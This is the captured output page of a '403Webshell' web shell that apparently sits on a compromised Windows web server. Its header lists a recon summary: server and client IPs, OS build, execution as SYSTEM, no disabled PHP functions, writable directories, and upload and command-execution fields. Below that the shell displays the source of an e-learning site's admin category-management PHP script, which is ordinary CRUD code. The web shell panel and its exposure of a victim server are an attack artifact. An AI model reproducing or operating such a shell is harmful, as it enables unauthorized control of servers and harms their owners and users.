403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/elearning/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/elearning/admin//category_auth.php
<?php

require '../configs/app_top.php';
if (!is_admin_logged_in()) {
  redirect(generate_admin_link("login"));
  exit;
}
if (isset($_POST['mode']) && $_POST['mode'] == 'add_new') {
  $redirectTo = "category";

  $ct_name = safe_input($_POST['ct_name']);
  $is_active = (safe_input($_POST['is_active']) == "yes" ) ? "yes" : "no";

  if ($ct_name == '') {
    $_SESSION["errorMsg"] = "Please provide the required fields";
    $_SESSION["errorType"] = "danger";
  } else {

    try {

      $sql = "INSERT INTO " . TBL_CATEGORY . " ( `ct_name`, `active` ) VALUES (:name, :active)";
      $stmt = $DB->prepare($sql);

      $stmt->bindValue(":name", $ct_name);
      $stmt->bindValue(":active", $is_active);
      $stmt->execute();
      $retval = $stmt->rowCount();
    } catch (Exception $ex) {
      if ($ex->getCode() == 23000) {
        $_SESSION["errorMsg"] = $ct_name . " already exist";
        $_SESSION["errorType"] = "danger";
        redirect(generate_admin_link($redirectTo, "mode=add"));
        exit;
      }
    }
    if ($retval > 0) {

      $_SESSION["errorMsg"] = "Category has been added successfully.";
      $_SESSION["errorType"] = "success";

      redirect(generate_admin_link("manage_category"));
      exit;
    } else {
      $_SESSION["errorMsg"] = "Failed to add category. Try Again";
      $_SESSION["errorType"] = "danger";
    }
  }

  redirect(generate_admin_link($redirectTo, "mode=add"));
  exit;
} else if (isset($_POST['mode']) && $_POST['mode'] == 'update') {
  $redirectTo = "category";

  $ct_name = safe_input($_POST['ct_name']);
  $is_active = (safe_input($_POST['is_active']) == "yes" ) ? "yes" : "no";
  $id = safe_input($_POST['id']);
  
  

  if ($ct_name == '') {
    $_SESSION["errorMsg"] = "Please provide the required fields";
    $_SESSION["errorType"] = "danger";
  } else {

    try {

      $sql = "UPDATE " . TBL_CATEGORY . "  SET `ct_name` = :name, `active` = :active WHERE `ct_id` = :id ";
      $stmt = $DB->prepare($sql);

      $stmt->bindValue(":name", $ct_name);
      $stmt->bindValue(":active", $is_active);
      $stmt->bindValue(":id", $id);
      $stmt->execute();
      $retval = $stmt->rowCount();
    } catch (Exception $ex) {
      if ($ex->getCode() == 23000) {
        $_SESSION["errorMsg"] = $ct_name . " already exist";
        $_SESSION["errorType"] = "danger";
        redirect(generate_admin_link("manage_courses", "pagenum=" . $_POST["pagenum"]));
        exit;
      }
    }
    if ($retval > 0) {

      $_SESSION["errorMsg"] = "Category has been updated successfully.";
      $_SESSION["errorType"] = "success";

      redirect(generate_admin_link("manage_category", "pagenum=" . $_POST["pagenum"]));
      exit;
    } else if ($retval == 0) {

      $_SESSION["errorMsg"] = "No changes has been made to category.";
      $_SESSION["errorType"] = "info";

      redirect(generate_admin_link("manage_category", "pagenum=" . $_POST["pagenum"]));
      exit;
    } else {
      $_SESSION["errorMsg"] = "Failed to update category. Try Again";
      $_SESSION["errorType"] = "danger";
    }
  }

  redirect(generate_admin_link($redirectTo, "mode=edit&id=" . $id."&pagenum=" . $_POST["pagenum"]));
  exit;
} else if (isset($_GET['mode']) && $_GET['mode'] == 'delete') {

  $redirectTo = "manage_category";
  $id = safe_input($_GET['id']);

  try {

    $sql = "DELETE FROM " . TBL_CATEGORY . " WHERE ct_id = :id";
    $stmt = $DB->prepare($sql);
    $stmt->bindValue(":id", $id);

    $stmt->execute();
    $retval = $stmt->rowCount();

    if ($retval > 0) {
      $_SESSION["errorMsg"] = "Category has been deleted successfully.";
      $_SESSION["errorType"] = "success";
    } else {
      $_SESSION["errorMsg"] = "Cannot delete category. Try Again";
      $_SESSION["errorType"] = "danger";
    }
  } catch (Exception $ex) {
    $_SESSION["errorMsg"] = $ex->getMessage();
    $_SESSION["errorType"] = "danger";
  }
  redirect(generate_admin_link($redirectTo));
  exit;
}
redirect(generate_admin_link("home"));
?>

Youez - 2016 - github.com/yon3zu
LinuXploit